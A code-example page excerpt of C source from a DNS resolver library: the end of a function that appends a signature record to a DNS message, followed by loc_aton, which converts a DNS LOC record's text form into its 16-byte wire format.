		PUTSHORT(INT16SZ+INT32SZ, cp);	/*%< Other data length */
		BOUNDS_CHECK(cp, INT32SZ+INT16SZ);
		PUTSHORT(0, cp);	/*%< Top 16 bits of time */
		PUTLONG(timesigned, cp);
	}

	/* Go back and fill in the length. */
	PUTSHORT(cp - lenp - INT16SZ, lenp);

	hp->arcount = htons(ntohs(hp->arcount) + 1);
	*msglen = (cp - msg);
	return (0);
}
Exemple #26
0
/*
 * Converts a zone file representation in a string to an RDATA
 * on-the-wire representation.
 */
int loc_aton (const char *ascii, u_char *binary)
{
  char *cp, *maxcp;
  BYTE *bcp;
  DWORD latit     = 0, longit  = 0, alt = 0;
  DWORD lltemp1   = 0, lltemp2 = 0;
  int   altmeters = 0;
  int   altfrac   = 0;
  int   altsign   = 1;
  BYTE  hp        = 0x16;   /* default = 1e6 cm = 10000.00m = 10km */
  BYTE  vp        = 0x13;   /* default = 1e3 cm = 10.00m           */
  BYTE  siz       = 0x12;   /* default = 1e2 cm = 1.00m            */
  int   which1    = 0;
  int   which2    = 0;

  cp    = (char*)ascii;
  maxcp = cp + strlen (ascii);

  lltemp1 = latlon2ul (&cp, &which1);
  lltemp2 = latlon2ul (&cp, &which2);

  switch (which1 + which2)
  {
    case 3:                 /* 1 + 2, the only valid combination */
         if (which1 == 1 && which2 == 2)  /* normal case */
         {
           latit  = lltemp1;
           longit = lltemp2;
         }
         else if (which1 == 2 && which2 == 1) /* reversed */
         {
           longit = lltemp1;
           latit  = lltemp2;
         }
         else               /* some kind of brokenness */
           return (0);
         break;
    default:                /* we didn't get one of each */
         return (0);
  }

  /* altitude */
  if (*cp == '-')
  {
    altsign = -1;
    cp++;
  }

  if (*cp == '+')
     ++cp;

  while (isdigit(*cp))
     altmeters = altmeters * 10 + (*cp++ - '0');

  if (*cp == '.')                /* decimal meters */
  {
    cp++;
    if (isdigit(*cp))
    {
      altfrac = (*cp++ - '0') * 10;
      if (isdigit(*cp))
         altfrac += (*cp++ - '0');
    }
  }

  alt = (10000000 + (altsign * (altmeters * 100 + altfrac)));

  while (!isspace(*cp) && (cp < maxcp))
     cp++;                /* if trailing garbage or m */

  while (isspace(*cp) && (cp < maxcp))
     cp++;

  if (cp >= maxcp)
     goto defaults;

  siz = precsize_aton (&cp);

  while (!isspace(*cp) && (cp < maxcp)) /* if trailing garbage or m */
     cp++;

  while (isspace(*cp) && (cp < maxcp))
     cp++;

  if (cp >= maxcp)
     goto defaults;

  hp = precsize_aton (&cp);

  while (!isspace(*cp) && (cp < maxcp)) /* if trailing garbage or m */
     cp++;

  while (isspace(*cp) && (cp < maxcp))
     cp++;

  if (cp >= maxcp)
     goto defaults;

  vp = precsize_aton(&cp);

 defaults:

  bcp = binary;
  *bcp++ = (BYTE) 0;  /* version byte */
  *bcp++ = siz;
  *bcp++ = hp;
  *bcp++ = vp;
  PUTLONG (latit,bcp);
  PUTLONG (longit,bcp);
  PUTLONG (alt,bcp);

  return (16);            /* size of RR in octets */
}